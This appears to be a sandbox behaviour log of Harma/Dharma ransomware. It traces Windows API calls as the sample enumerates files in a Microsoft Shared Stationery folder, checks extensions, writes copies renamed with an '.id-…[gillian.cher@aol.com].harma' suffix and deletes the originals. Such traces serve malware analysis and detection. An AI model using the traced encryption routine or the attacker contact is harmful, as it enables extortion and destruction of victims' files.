returned -1 [0054.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.759] lstrlenW (lpString=".1cd") returned 4 [0054.759] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0054.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.759] lstrlenW (lpString=".jpg") returned 4 [0054.759] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0054.759] lstrcmpiW (lpString1=".gif", lpString2=".harma") returned -1 [0054.759] lstrlenW (lpString="Connectivity.gif") returned 16 [0054.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.759] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2319) returned 1 [0054.759] CloseHandle (hObject=0x170) returned 1 [0054.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0054.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.760] lstrlenW (lpString=".doc") returned 4 [0054.760] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0054.760] lstrlenW (lpString=".docx") returned 5 [0054.760] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0054.760] lstrlenW (lpString=".pdf") returned 4 [0054.760] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0054.760] lstrlenW (lpString=".xls") returned 4 [0054.760] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0054.760] lstrlenW (lpString=".xlsx") returned 5 [0054.760] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0054.760] lstrlenW (lpString=".ppt") returned 4 [0054.760] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0054.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.760] lstrlenW (lpString=".zip") returned 4 [0054.760] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0054.760] lstrlenW (lpString=".rar") returned 4 [0054.760] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0054.760] lstrlenW (lpString=".bz2") returned 4 [0054.760] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0054.760] lstrlenW (lpString=".7z") returned 3 [0054.760] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0054.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.760] lstrlenW (lpString=".dbf") returned 4 [0054.760] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString=".1cd") returned 4 [0054.761] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString=".jpg") returned 4 [0054.761] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString=".doc") returned 4 [0054.761] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0054.761] lstrlenW (lpString=".docx") returned 5 [0054.761] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0054.761] lstrlenW (lpString=".pdf") returned 4 [0054.761] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString=".xls") returned 4 [0054.761] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString=".xlsx") returned 5 [0054.761] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0054.761] lstrlenW (lpString=".ppt") returned 4 [0054.761] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString=".zip") returned 4 [0054.761] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString=".rar") returned 4 [0054.761] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0054.761] lstrlenW (lpString=".bz2") returned 4 [0054.761] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0054.761] lstrlenW (lpString=".7z") returned 3 [0054.761] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0054.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.761] lstrlenW (lpString=".dbf") returned 4 [0054.761] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0054.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.762] lstrlenW (lpString=".1cd") returned 4 [0054.762] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0054.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0054.762] lstrlenW (lpString=".jpg") returned 4 [0054.762] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0054.762] lstrcmpiW (lpString1=".ini", lpString2=".harma") returned 1 [0054.762] lstrlenW (lpString="Desktop.ini") returned 11 [0054.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.762] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=645) returned 1 [0054.762] CloseHandle (hObject=0x170) returned 1 [0054.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0054.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.763] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.763] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.763] GetLastError () returned 0x0 [0054.763] ReadFile (in: hFile=0x170, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x285, lpOverlapped=0x0) returned 1 [0054.764] WriteFile (in: hFile=0x1f4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x290, lpOverlapped=0x0) returned 1 [0054.765] ReadFile (in: hFile=0x170, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.765] WriteFile (in: hFile=0x1f4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.765] SetEndOfFile (hFile=0x1f4) returned 1 [0054.765] CloseHandle (hObject=0x1f4) returned 1 [0054.765] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.765] SetEndOfFile (hFile=0x170) returned 1 [0054.766] CloseHandle (hObject=0x170) returned 1 [0054.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x26) returned 1 [0054.766] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0054.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.767] lstrlenW (lpString=".doc") returned 4 [0054.767] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0054.767] lstrlenW (lpString=".docx") returned 5 [0054.767] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0054.767] lstrlenW (lpString=".pdf") returned 4 [0054.767] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0054.767] lstrlenW (lpString=".xls") returned 4 [0054.767] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0054.767] lstrlenW (lpString=".xlsx") returned 5 [0054.767] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0054.767] lstrlenW (lpString=".ppt") returned 4 [0054.767] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0054.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.767] lstrlenW (lpString=".zip") returned 4 [0054.767] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0054.767] lstrlenW (lpString=".rar") returned 4 [0054.767] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0054.767] lstrlenW (lpString=".bz2") returned 4 [0054.767] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0054.767] lstrlenW (lpString=".7z") returned 3 [0054.767] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0054.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.767] lstrlenW (lpString=".dbf") returned 4 [0054.768] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString=".1cd") returned 4 [0054.768] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString=".jpg") returned 4 [0054.768] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString=".doc") returned 4 [0054.768] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0054.768] lstrlenW (lpString=".docx") returned 5 [0054.768] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0054.768] lstrlenW (lpString=".pdf") returned 4 [0054.768] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString=".xls") returned 4 [0054.768] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString=".xlsx") returned 5 [0054.768] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0054.768] lstrlenW (lpString=".ppt") returned 4 [0054.768] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString=".zip") returned 4 [0054.768] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString=".rar") returned 4 [0054.768] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0054.768] lstrlenW (lpString=".bz2") returned 4 [0054.768] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0054.768] lstrlenW (lpString=".7z") returned 3 [0054.768] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0054.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.768] lstrlenW (lpString=".dbf") returned 4 [0054.769] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0054.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.769] lstrlenW (lpString=".1cd") returned 4 [0054.769] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0054.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0054.769] lstrlenW (lpString=".jpg") returned 4 [0054.769] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0054.769] lstrcmpiW (lpString1=".emf", lpString2=".harma") returned -1 [0054.769] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0054.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.769] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3792) returned 1 [0054.769] CloseHandle (hObject=0x170) returned 1 [0054.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0054.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.770] lstrlenW (lpString=".doc") returned 4 [0054.770] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0054.770] lstrlenW (lpString=".docx") returned 5 [0054.770] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0054.770] lstrlenW (lpString=".pdf") returned 4 [0054.770] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0054.770] lstrlenW (lpString=".xls") returned 4 [0054.770] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0054.770] lstrlenW (lpString=".xlsx") returned 5 [0054.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0054.770] lstrlenW (lpString=".ppt") returned 4 [0054.770] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.770] lstrlenW (lpString=".zip") returned 4 [0054.770] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0054.770] lstrlenW (lpString=".rar") returned 4 [0054.770] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0054.770] lstrlenW (lpString=".bz2") returned 4 [0054.770] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0054.770] lstrlenW (lpString=".7z") returned 3 [0054.770] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.770] lstrlenW (lpString=".dbf") returned 4 [0054.770] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.770] lstrlenW (lpString=".1cd") returned 4 [0054.770] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0054.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString=".jpg") returned 4 [0054.771] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString=".doc") returned 4 [0054.771] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0054.771] lstrlenW (lpString=".docx") returned 5 [0054.771] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0054.771] lstrlenW (lpString=".pdf") returned 4 [0054.771] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString=".xls") returned 4 [0054.771] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString=".xlsx") returned 5 [0054.771] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0054.771] lstrlenW (lpString=".ppt") returned 4 [0054.771] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString=".zip") returned 4 [0054.771] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString=".rar") returned 4 [0054.771] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0054.771] lstrlenW (lpString=".bz2") returned 4 [0054.771] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0054.771] lstrlenW (lpString=".7z") returned 3 [0054.771] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString=".dbf") returned 4 [0054.771] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.771] lstrlenW (lpString=".1cd") returned 4 [0054.771] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0054.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0054.772] lstrlenW (lpString=".jpg") returned 4 [0054.772] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0054.772] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0054.772] lstrlenW (lpString="Garden.htm") returned 10 [0054.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.772] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=231) returned 1 [0054.772] CloseHandle (hObject=0x170) returned 1 [0054.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0054.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.772] lstrlenW (lpString=".doc") returned 4 [0054.772] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0054.772] lstrlenW (lpString=".docx") returned 5 [0054.773] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0054.773] lstrlenW (lpString=".pdf") returned 4 [0054.773] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString=".xls") returned 4 [0054.773] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString=".xlsx") returned 5 [0054.773] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0054.773] lstrlenW (lpString=".ppt") returned 4 [0054.773] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString=".zip") returned 4 [0054.773] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString=".rar") returned 4 [0054.773] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString=".bz2") returned 4 [0054.773] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0054.773] lstrlenW (lpString=".7z") returned 3 [0054.773] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString=".dbf") returned 4 [0054.773] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString=".1cd") returned 4 [0054.773] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString=".jpg") returned 4 [0054.773] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.773] lstrlenW (lpString=".doc") returned 4 [0054.773] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0054.773] lstrlenW (lpString=".docx") returned 5 [0054.774] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0054.774] lstrlenW (lpString=".pdf") returned 4 [0054.774] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0054.774] lstrlenW (lpString=".xls") returned 4 [0054.774] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0054.774] lstrlenW (lpString=".xlsx") returned 5 [0054.774] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0054.774] lstrlenW (lpString=".ppt") returned 4 [0054.774] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.774] lstrlenW (lpString=".zip") returned 4 [0054.774] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0054.774] lstrlenW (lpString=".rar") returned 4 [0054.774] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0054.774] lstrlenW (lpString=".bz2") returned 4 [0054.774] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0054.774] lstrlenW (lpString=".7z") returned 3 [0054.774] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.774] lstrlenW (lpString=".dbf") returned 4 [0054.774] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.774] lstrlenW (lpString=".1cd") returned 4 [0054.774] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0054.774] lstrlenW (lpString=".jpg") returned 4 [0054.774] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0054.774] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0054.775] lstrlenW (lpString="Garden.jpg") returned 10 [0054.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), 